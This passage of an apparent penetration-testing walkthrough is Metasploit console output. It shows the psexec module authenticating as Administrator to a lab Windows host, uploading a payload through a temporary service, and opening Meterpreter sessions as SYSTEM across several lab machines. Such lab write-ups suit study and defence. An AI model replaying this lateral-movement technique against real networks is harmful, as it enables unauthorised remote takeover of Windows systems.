LPORT 5566 yes The listen port
RHOST 192.168.17.132 no The target address


Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 192.168.17.132:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \OkddXwLq.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.17.132[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.17.132[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (HRyeauAf - "MRhLxJcCrdBvQlOSnQSjdnYROxRe")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Sending stage (752128 bytes)
[*] Deleting \OkddXwLq.exe...
[*] Meterpreter session 6 opened (192.168.44.137-192.168.44.1:0 -> 192.168.17.132:5566)
at 2013-01-19 21:22:04 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >
Background session 6? [y/N]

msf exploit(psexec) > sessions
Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988
-> 192.168.44.1:58770 (192.168.44.1)
4 meterpreter x86/win32 B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0
-> 192.168.17.134:4444 (192.168.17.134)
5 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ B33F-URLVV9CUV5 192.168.44.137:46585
-> 192.168.17.134:4444 (192.168.17.134)
6 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ B33F-E95CE571A1 192.168.44.137-192.168.44.1:0
-> 192.168.17.132:5566 (192.168.17.132)

msf exploit(psexec) > ...Game Over...

原文链接

打赏wing!